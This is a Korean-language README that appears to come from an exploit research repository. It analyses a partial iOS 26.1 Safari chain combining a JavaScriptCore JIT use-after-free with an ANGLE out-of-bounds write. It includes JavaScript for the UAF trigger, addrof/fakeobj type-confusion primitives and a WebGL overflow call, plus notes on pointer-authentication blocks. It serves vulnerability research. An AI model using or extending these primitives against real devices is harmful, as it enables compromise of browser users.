
CVE-2025-43529 (WebKit UAF) + CVE-2025-14174 (ANGLE OOB) 익스플로잇 체인 분석 - iOS Safari
iOS 26.1에서의 WebKit/ANGLE 체인에 대한 메모와 PoC 자료입니다. 완전한 익스플로잇이 아니며, 검증된 프리미티브와 아직 실패하는 부분을 분리하여 정리했습니다.
작성자: zeroxjf
기반: jir4vv1t의 CVE-2025-43529 익스플로잇
상태: 부분 체인; 임의 R/W 미검증
테스트 기기: iPhone 11 Pro Max, iOS 26.1
최종 업데이트: 2026년 1월
CVE-2025-43529 UAF 트리거, butterfly 재확보(reclaim), addrof/fakeobj 프리미티브는 jir4vv1t의 연구 를 기반으로 합니다. 제가 추가한 부분은 ANGLE OOB 플러밍, PAC 중심 분석, iOS 26.1 검증입니다.
Apple이 함께 공개하고 야생(in-the-wild) 사용으로 보고한 두 개의 WebKit CVE입니다.
| CVE | 구성 요소 | 유형 | 요약 |
|---|---|---|---|
| CVE-2025-43529 | JavaScriptCore | Use-After-Free | DFG JIT의 쓰기 배리어(write barrier) 누락으로 GC가 살아있는 객체를 해제함 |
| CVE-2025-14174 | ANGLE (GPU) | Out-of-Bounds Write | Metal 백엔드가 스테이징 버퍼 할당 시 잘못된 높이를 사용함 |
버그는 JavaScriptCore의 DFG JIT, 특히 Store Barrier Insertion Phase(DFGStoreBarrierInsertionPhase.cpp)에 있습니다.
Phi 노드가 탈출(escape) 하지만 해당 Upsilon 입력이 탈출로 표시되지 않으면, 이후의 저장에서 쓰기 배리어가 누락됩니다. 이로 인해 GC가 여전히 도달 가능한(reachable) 객체를 해제할 수 있습니다.
function triggerUAF(flag, k, allocCount) {
let A = { p0: 0x41414141, p1: 1.1, p2: 2.2 };
arr[arr_index] = A; // A in old space
let a = new Date(1111);
a[0] = 1.1; // Creates butterfly for Date
// Force GC
for (let j = 0; j < allocCount; ++j) {
forGC.push(new ArrayBuffer(0x800000));
}
let b = { p0: 0x42424242, p1: 1.1 };
// Phi node - the bug
let f = b;
if (flag) f = 1.1;
A.p1 = f; // Phi escapes, but 'b' NOT marked as escaped
// Long loop = GC race window
for (let i = 0; i < 1e6; ++i) { /* ... */ }
b.p1 = a; // NO WRITE BARRIER - 'a' freed while still reachable
}
해제된 Date의 butterfly는 스프레이 배열로 재확보되어 타입 혼동(type confusion)을 만들 수 있습니다:
// After reclaim:
boxed_arr[0] = obj; // Store object reference
addr = ftoi(unboxed_arr[0]); // Read as float64 = leaked address
unboxed_arr[0] = itof(addr); // Write address as float64
fake = boxed_arr[0]; // Read as object = fakeobj
ANGLE의 Metal 백엔드(TextureMtl.cpp)에서 PBO를 통한 업로드 시 스테이징 버퍼 할당이 실제 텍스처 높이 대신 UNPACK_IMAGE_HEIGHT를 사용합니다.
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // Small value
// Staging buffer: 256 * 16 * 4 = 16KB
// Actual write: 256 * 256 * 4 = 256KB
// OOB: 240KB!
gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0);
arm64e(iPhone 11 Pro Max)에서는 PAC(포인터 인증 코드) 가 중요한 JSC 포인터를 보호합니다:
| 포인터 | 보호됨 | 결과 |
|---|---|---|
TypedArray m_vector | 예 | 임의 백킹 스토어로 TypedArray를 위조할 수 없음 |
JSArray butterfly | 예 | 임의 butterfly로 JSArray를 위조할 수 없음 |
임의 데이터 포인터로 가짜 TypedArray/JSArray를 만들려고 하면 PAC 검증이 실패하며 크래시가 발생합니다:
Exception: EXC_BAD_ACCESS
KERN_INVALID_ADDRESS at 0x0001fffffffffffc -> 0x0000007ffffffffc
(possible pointer authentication failure)
타입 혼동은 두 배열이 모두 정당하게 서명된 butterfly 포인터를 사용하기 때문에 성공합니다. 즉, 단지 동일한 메모리를 재해석하는 것뿐입니다. 임의의 서명되지 않은 포인터를 가진 가짜 객체는 PAC 검사에서 크래시합니다.
addrof, fakeobj, 주소 누출, 알려진 객체에 대한 인라인 슬롯 읽기/쓰기read64/write64, 렌더러→GPU 탈출 체인, 샌드박스 탈출├── README.md # This file
├── poc/
│ └── chained_exploit_probe.html
└── analysis/
├── pac_analysis.md # Detailed PAC findings
└── crash_logs/ # Example crash reports
CVE-2025-43529 트리거, butterfly 재확보 기법, addrof/fakeobj 구성은 jir4vv1t/CVE-2025-43529 를 기반으로 합니다. 이 저장소는 iOS 26.1 검증, PAC 메모, ANGLE OOB 플러밍을 추가합니다.
현재 상태: JSC 프리미티브와 PAC 차단 요소를 재현하는 데 유용하며, 완전한 익스플로잇 체인은 아닙니다.
| 프리미티브 | 상태 | 비고 |
|---|
addrof(obj) | 작동 중 | 프로브에서 검증됨 |
fakeobj(addr) | 작동 중 | 알려진 객체에 대해 검증됨 |
| 주소 누출 | 작동 중 | 실행당 20개 이상의 주소 |
| 인라인 슬롯 읽기/쓰기 | 작동 중 | 알려진 인라인 슬롯에서 검증됨(객체 주소 기반) |
read64(addr) | 미검증 | 인라인 슬롯 트릭으로 구성했으나 증명 실패 |
write64(addr) | 미검증 | 인라인 슬롯 트릭으로 구성했으나 증명 실패 |